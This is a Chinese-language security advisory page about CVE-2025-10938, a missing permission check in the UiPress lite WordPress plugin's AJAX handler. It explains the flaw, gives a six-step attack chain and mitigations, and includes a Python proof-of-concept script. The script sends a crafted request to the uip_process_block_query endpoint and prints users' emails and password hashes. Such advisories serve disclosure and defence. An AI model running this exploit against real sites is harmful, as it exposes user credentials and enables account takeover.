IPBUF安全漏洞报告
English
CVE-2025-10938 CVSS 6.5 中危

CVE-2025-10938: UiPress lite插件AJAX接口敏感信息泄露漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-10938
漏洞类型
敏感信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
UiPress lite (WordPress插件)

相关标签

敏感信息泄露权限绕过WordPress插件UiPress liteAJAX注入CVE-2025-10938账户接管信息枚举

漏洞概述

CVE-2025-10938是WordPress UiPress lite插件中的一个高危敏感信息泄露漏洞。该漏洞存在于插件的AJAX处理函数中,由于缺少适当的权限验证检查,认证攻击者可以利用此漏洞获取系统敏感信息。攻击者仅需拥有订阅者级别(subscriber-level)的最低权限,即可通过调用uip_process_block_query AJAX函数,非法访问包含用户密码哈希、邮箱地址及其他敏感用户数据的内部信息。这些泄露的数据可被用于后续的账户接管攻击,对网站安全性构成严重威胁。该漏洞影响插件3.5.08及之前的所有版本,建议用户尽快升级到最新修复版本以消除安全风险。

技术细节

该漏洞的根本原因在于UiPress lite插件的AJAX处理函数uip_process_block_query缺乏权限验证机制。在WordPress插件开发中,AJAX动作处理器应当使用wp_verify_nonce验证请求令牌,并使用current_user_can()检查用户权限。然而,该插件的此函数直接处理请求而未进行任何权限确认,导致任何已认证用户(包括订阅者角色)都能发起请求并获取敏感数据。攻击者可通过构造特定的AJAX请求,指定查询参数来枚举数据库中的用户信息。泄露的数据包括用户密码哈希(可用于离线暴力破解)、用户邮箱、用户ID、用户名等。攻击者获取这些信息后,可进一步实施账户接管或横向移动攻击。由于攻击通过正常的AJAX接口进行,流量特征与正常用户请求无异,传统的WAF规则可能难以检测。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress订阅者级别账户访问权限
STEP 2
步骤2
攻击者从网站获取有效的WP nonce(通过登录后的页面或rest-nonce端点)
STEP 3
步骤3
攻击者构造针对uip_process_block_query AJAX端点的恶意请求
STEP 4
步骤4
由于缺少权限检查,服务器返回包含敏感用户数据的响应
STEP 5
步骤5
攻击者提取密码哈希、邮箱等敏感信息
STEP 6
步骤6
攻击者利用泄露数据进行离线暴力破解或社工攻击,实现账户接管

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-10938 PoC - UiPress lite Sensitive Information Disclosure # Target: WordPress site with UiPress lite plugin <= 3.5.08 target_url = "http://target-wordpress-site.com" # Get valid nonce and cookie by logging in as subscriber user # (Attacker needs subscriber-level access) login_url = f"{target_url}/wp-login.php" wpnonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=rest-nonce" session = requests.Session() # Step 1: Obtain WordPress nonce nonce_response = session.get(wpnonce_url) if nonce_response.status_code == 200: nonce = nonce_response.text.strip() else: # Alternative: extract nonce from page source pass # Step 2: Exploit the vulnerable AJAX endpoint ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct malicious request to extract user data payload = { "action": "uip_process_block_query", "_wpnonce": nonce, "query": { "args": { "post_type": "user", "per_page": 100 }, "route": "/wp/v2/users" } } response = session.post(ajax_endpoint, data=payload) if response.status_code == 200: data = response.json() # Extract sensitive user information users = data.get("data", {}).get("results", []) for user in users: print(f"User ID: {user.get('id')}") print(f"Email: {user.get('email')}") print(f"Password Hash: {user.get('password_hash')}") print("---") else: print(f"Request failed: {response.status_code}")

影响范围

UiPress lite <= 3.5.08(所有版本)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 暂时禁用UiPress lite插件;2) 使用WAF规则阻止对uip_process_block_query AJAX端点的非管理员访问;3) 加强用户密码策略,要求使用强密码以增加暴力破解难度;4) 启用双因素认证(2FA)保护管理员账户;5) 监控wp-admin/admin-ajax.php的异常请求模式;6) 限制订阅者角色的权限,移除不必要的功能访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表